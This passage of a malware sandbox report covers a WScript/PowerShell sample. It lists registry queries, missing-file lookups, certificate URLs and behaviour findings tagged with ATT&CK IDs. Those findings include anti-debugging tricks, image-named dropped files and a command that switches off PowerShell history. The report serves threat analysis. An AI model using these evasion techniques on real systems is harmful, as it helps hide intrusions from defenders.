"HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "APPID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVICENAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXPLICITPSMACTIVATIONTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "")3e:Taf4,"WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "WScript.exe" trying to access non-existent file "C:\Program Files\Common Files\system\ado\MSDART.DLL" "WScript.exe" trying to access non-existent file "C:\Program Files\Common Files\System\ado\MSDART.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll"3f:T93b,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Users\Public\ORIO.PNG" "WScript.exe" trying to access non-existent file "C:\Users\Public\Orio.png" "WScript.exe" trying to access non-existent file "C:\Users\Public\Libraries\780E0202E2B81D55B34D085543FEAABE069FC6B883A6557E668452C71FE9F196.BIN.JS" "WScript.exe" trying to access non-existent file "C:\Users\Public\Libraries\780e0202e2b81d55b34d085543feaabe069fc6b883a6557e668452c71fe9f196.bin.js" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\en\PSREADLINE.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\en\PSReadline.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PSGETMODULEINFO.XML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Microsoft.PowerShell.PSReadline.dll:ZONE.IDENTIFIER"40:T413,"2.5.29.37" "2.5.29.35" "192.168.0.2" Potential IP "1.0.0.0" found in string "on=1.0.0.0, Culture=neutral, PublicKey" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.15" "2.5.29.19" "2.5.29.14" "2.5.29.32" "2.5.29.31" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.16" Potential IP "4.0.0.0" found in string "=4.0.0.0" Potential IP "3.0.0.0" found in string ".Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.4.5" "2.5.4.10" "2.5.4.6" "2.5.4.8" "2.5.4.7" "2.5.4.11" "4.0.0.0" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Security.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.Powershell.PSReadline,3.0.0.0,,31bf3856ad364e35" "2.12.2.0" "17.0.0.0"41:T187e,Heuristic match: ".reflection.typeattributes]::sealed + [system.reflection.typeattributes]::sequentiallayout, [system.valuetype]) [void]$typebuilder.definefield(baseaddress, [intptr], [system.reflection.fieldattributes]::public) [void]$typebuilder.definefield(alloc" Pattern match: "microsoft.net/framework64/v4.0.30319/" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ackage00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "6299.15.cat" Heuristic match: "dows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl.thawt" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Heuristic match: "1.3.6.1.pf" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.dig" Pattern match: "www.digicert.com1!0" Pattern match: "www.digicert" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://crl.secul" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: "ystem.management.automation.re" Heuristic match: "ion.re" Heuristic match: "on.re" Heuristic match: "ystem.management.au" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Heuristic match: "soft.com" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=5288086" Pattern match: "https://go.microsoft.com/fwlink/?linkid=528811v" Pattern match: "https://go.microsoft.com/fwlink/?linkid=528810v" Pattern match: "https://go.microsoft.com/fwlink/?linkid=528807" Pattern match: "https://go.microsoft.com/fwlink/?linkid=528809" Pattern match: "https://github.com/lzybkr/psreadline/issues/new" Heuristic match: "15.cat" Heuristic match: "ement.au" Heuristic match: "em.ma" Heuristic match: "stem.management.automation.re" Pattern match: "https://github.com/dahall/taskscheduler"42:T4e4d,Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1$vkt7" - Source: "00000000-00007016.00000000.171303.2D040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007016.00000000.171303.2D040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://crl.thawtglobalsign" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00007016.00000000.171303.470B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007016.00000000.171303.47800000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007016.00000001.172521.19962000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportnternaldefinitionupdateserver" - Source: "00000000-00007016.00000001.172521.2EAC0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007016.00000001.172521.2EAC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007016.00000001.172521.2EAC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007016.00000001.172521.2EAC0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=5288086-microsoft.powershell.psconsolereadlineoptionspsreadlineoptionhelpuri.https://go.microsoft.com/fwlink/?linkid=528811vpsreadlinekeyhandlerhelpuri.https://go.microsoft.com/fwlink/?linkid=528810vpsreadlinekeyhandlerhelpuri.https://go.microsoft.com/fwlink/?linkid=528807(microsoft.powershell.keyhandlerremovepsreadlinekeyhandlerhelpuri.https://go.microsoft.com/fwlink/?linkid=528809" - Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found URL "https://github.com/lzybkr/psreadline/issues/new-----------------------------------------------------------------------last" - Source: "00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://crl.thawtglobalsign" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00007016.00000001.172521.47136000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007016.00000001.172521.47800000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0%m3" - Source: "00000000-00007016.00000001.172521.47800000.00000004.mdmp") Found URL "http://www+" - Source: "00000000-00007016.00000001.172521.478A9000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007016.00000001.172521.478DD000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f\" (Indicator: \"Set-PSReadLineOption\"; Source: \"00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp\")\n Found string \"Set-PSReadlineOption -HistorySaveStyle SaveNothing\" (Indicator: \"Set-PSReadLineOption\"; Source: \"00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,winlogon.exe,services.exe,svchost.exe\" (Source: \"00000000-00007016.00000001.172521.47928000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00007016.00000001.172521.2EBC2000.00000002.mdmp, 00000000-00007016.00000001.172521.F8038000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-Interactive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-Interactive]- [targetUID: 00000000-00007016]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"Orio.png\" has type \"ASCII text with very long lines (65536) with no line terminators\" and extension \"png\"\n \"Brio.png\" has type \"data\" and extension \"png\"\n \"Xrio.png\" has type \"ASCII text with very long lines (65536) with no line terminators\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"WScript.exe\" is protecting memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6868)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7016)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a0185abac68ba546106cf10"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"powershell.exe queries ProcessDebugPort 